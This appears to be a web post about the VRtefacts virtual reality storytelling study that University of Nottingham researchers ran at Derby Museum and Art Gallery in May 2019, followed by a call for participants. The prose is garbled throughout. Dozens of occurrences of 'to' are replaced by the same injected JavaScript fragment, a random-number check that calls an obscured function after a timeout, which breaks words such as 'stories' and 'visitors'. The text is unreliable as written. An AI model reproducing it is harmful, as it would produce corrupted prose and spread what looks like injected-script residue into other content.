How it worked at Derby Museum and Art Gallery

We were lucky enough dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to deploy VRtefacts for the first time at Derby Museum & Art Gallery on 22 and 23 May, 2019. This was an initial exploration of how they might use Virtual Reality sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torytelling for their new Museum of Making, scheduled dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to open in 2020.

VRtefacts uses a combination of subtle techniques that can lead dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to fascinating, heartfelt, and insightful sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tories:

1. The visidom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor’s experience was led by two trained researchers who used carefully scripted techniques dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to lead visidom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors who might be intimidated by the prospect of being recorded dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to a point where they could comfortably give a coherent, personal response dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to their object.

2. Part of this transition was made possible by a camera and lights that exist solely in the VR environment. These contributed dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to a sense of significance that can enable the positive elements of sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torytelling without generating stage fright.

3. The manipulation of scale and substance in the three 3D prints allowed for and new connections and insights.

4. We also used 3D scans with no associated 3D prints. These were scaled dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to fit within an (actual) acrylic vitrine, which afforded many of the same types of interaction as the 3D prints. Visidom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tors got dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to experience one printed object and one scanned object.

5. VR was enough of a novelty facdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tor dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to entice the curious, while the combination of sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torytelling and VR is still unusual enough dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to be at least somewhat novel even for those with years of experience.

Ideal objects for 3D scanning and/or 3D printing are those that are dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}too large dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to be seen from all angles, those that are dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}too small dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to see in any detail, and those that are so fragile they would clearly not withstand handling.  

We are busy analysing data from this first live trial of VRtefacts. We will post highlights of our findings as soon as possible.

We would like dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to thank Dr Martin Baumers from the Centre for Additive Manufacturing at the University of Nottingham for printing the complex aero engine for us.

VRtefacts is coming dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to Derby Museums!

On 22 and 23 May 2019, researchers at the University of Nottingham’s Mixed Reality Lab are partnering with Derby Museums dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bring you a virtual reality experience for getting up close and personal with some of the museum objects, then asking you dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to donate your sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tories – in VR – about those objects.

Sdom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tories are thoughts, opinions, memories, dreams – almost anything, really – that you think is important about these objects that Derby is proud dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to show off dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to the world. Our study involves the VR experience (roughly 10 minutes) and a short interview about what you thought of it (also roughly 10 minutes).

Anyone under age 16 will need a parent or guardian dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to approve in writing and stay with you.

Contact jocelyn.spence@nottingham.ac.uk for more information or come by early in the day dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sign up for a spot. We’ll be at the Derby Museum and Art Gallery, The Strand, Derby DE1 1BS, 01332 641901.

This project has received funding from the European Union’s Horizon 2020 research and innovation programme under grant agreement No 727040, GIFT: Meaningful Personalization of Hybrid Virtual Museum Experiences Through Gifting and Appropriation.